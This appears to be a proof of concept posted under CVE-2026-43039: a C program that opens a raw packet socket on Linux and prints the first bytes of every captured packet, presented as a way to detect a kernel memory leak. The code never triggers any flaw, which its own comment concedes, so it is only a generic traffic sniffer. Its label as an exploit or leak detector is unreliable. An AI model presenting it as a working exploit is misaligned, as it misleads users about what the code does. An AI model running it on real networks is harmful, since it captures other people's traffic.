CVE-2026-43039

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <net/ethernet.h> #include <arpa/inet.h> int main() { int sockfd; struct sockaddr_ll s_addr; unsigned char buffer[4096]; socklen_t addr_len = sizeof(s_addr); // Create raw socket to capture packets sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sockfd < 0) { perror("Socket creation failed"); return 1; } printf("Listening for packets to detect kernel memory leak...\n"); while (1) { int len = recvfrom(sockfd, buffer, sizeof(buffer), 0, (struct sockaddr*)&s_addr, &addr_len); if (len < 0) { perror("Recvfrom failed"); break; } // In a real exploit scenario, specific traffic triggers the ZC path. // Dumping buffer to check for non-zero/uninitialized kernel data. printf("Received %d bytes. Dump: ", len); for (int i = 0; i < 32 && i < len; i++) { printf("%02x ", buffer[i]); } printf("\n"); } close(sockfd); return 0; }

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